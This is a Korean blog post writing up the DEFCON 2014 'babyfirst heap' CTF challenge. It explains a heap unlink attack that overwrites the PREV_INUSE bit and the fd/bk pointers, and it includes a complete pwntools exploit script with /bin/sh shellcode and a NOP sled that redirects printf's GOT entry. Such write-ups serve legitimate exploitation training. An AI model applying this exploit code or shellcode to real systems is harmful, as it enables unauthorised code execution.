ABOUT ME

-

Today
-
Yesterday
-
Total
-
  • [DEFCON 2014] Babyfirst heap
    CTF 2016. 10. 20. 04:32



    코드는 randrange 함수를통해 무작위로 malloc을 시키지만, 10번의 루프를 돌고나선 size가 260으로 멈춘다.


    260으로 할당될때의 주소를 가져와서 PREV_INUSE의 비트를 바꿔주고 free시키면 chunk 병합을 끊을 수 있다.


    (붙어있는 chunk가 연속으로 두번 free시에 chunk가 병합되는 특징이 있다)

    fake chunk로, fd와 bk를 이용하여 overwrite 할 수 있는 문제이다.


    Double Free Bug의 문제임.


    루프문을 통해 free를 계속해서 하기때문에 DFB가 일어난다.


    맨 마지막에 호출되는 exit_func나 printf나 free중 하나를 overwrite하면된다.( free는 plt가 아닌 사용자정의함수임 )


    + NX가 있지만 mprotect로 malloc할때 rwx 권한을 주게된다. ( 쉘코드 사용 가능 )




    260으로 할당될때의 주소를 알려주기때문에 우리는 익스플로잇을할때 이용할수있다.




    그리고 memcpy를 이용해 우리가 넣어준 데이터들을 260으로 할당된 주소에 복사해준다.




    260 사이즈로 할당된 힙에 입력한 데이터가 그대로 들어간다. prev_size + size +bit 까지 9바이트의 청크까지 포함해 해당 청크의 사이즈는 0x109가 맞다. 맨위를 확인해보면 제대로 size값이 들어가있다.


    그다음 맨밑에 다음 size를 확인해보면 0x379가 있는데, 이 역시 다음 할당된 사이즈가 들어가있다. 


    PREV_INUSE를 1로셋팅해주는데, PREV_INUSE가 1일경우 전 메모리가 allocated됬다는것을 알 수 있다. PREV_INUSE가 0이면 전 메모리가 free가 됬다는것을 알 수 있다.


    free는 전 메모리와 뒤에 메모리가 모두 allocated 되어있을경우에 fd와 bk를 조작하여 실행되기때문에 PREV_INUSE를 1로 Overwrite하여 익스플로잇을 진행하면된다.


    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    23
    24
    25
    26
    27
    28
    from pwn import *
     
    = process('babyfirst')
     
    elf = ELF('babyfirst')
     
    printf_got = elf.got['printf']
    shellcode = "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x89\xc1\x89\xc2\xb0\x0b\xcd\x80\x31\xc0\x40\xcd\x80"
     
     
    print p.recvuntil("[size=755]")
    print p.recvuntil("[ALLOC][loc=")
    heap_ptr = int(p.recvuntil("350"),16)
    print "[*] Heap PTR: " + hex(heap_ptr)
    print p.recvuntil("Write to object [size=260]:")
     
     
    exitfunc = 0x804C8AC
    payload = p32(0x50eb)
    payload += "\x90"*100
    payload += shellcode
    payload += "A"*(260 - len(payload))
    payload += p32(1)
    payload += p32(printf_got-8)
    payload += p32(heap_ptr)
     
    p.sendline(payload)
    p.interactive()
    cs


    1. got를 heap으로 Overwrite 할것이기때문에  놉슬레딩 + 쉘코드를 만든다.

    2. PREV_INUSE를 1로 셋해 free가 될때 fd와 bk를 조작해 GOT가 overwrite가 될 수 있도록 한다

    3. fd에 printf_got-8을, bk에 heap_ptr을 두어 printf_got가 heap주소로 가게끔 만든다.

    4. 루프문을 통해 다음 printf가 호출되면 힙이 호출되어 쉘코드가 실행된다.




    'CTF' 카테고리의 다른 글

    WITHCON Finals - BPTime router  (1) 2016.10.25
    [BCTF] BCloud  (0) 2016.10.23
    WITHCON - malloc (double free bug)  (0) 2016.10.10
    h4ck1t - Capture Angola  (0) 2016.10.03
    CSAW 2016 - Clams Don't Dance  (0) 2016.09.19

    댓글

Designed by Tistory.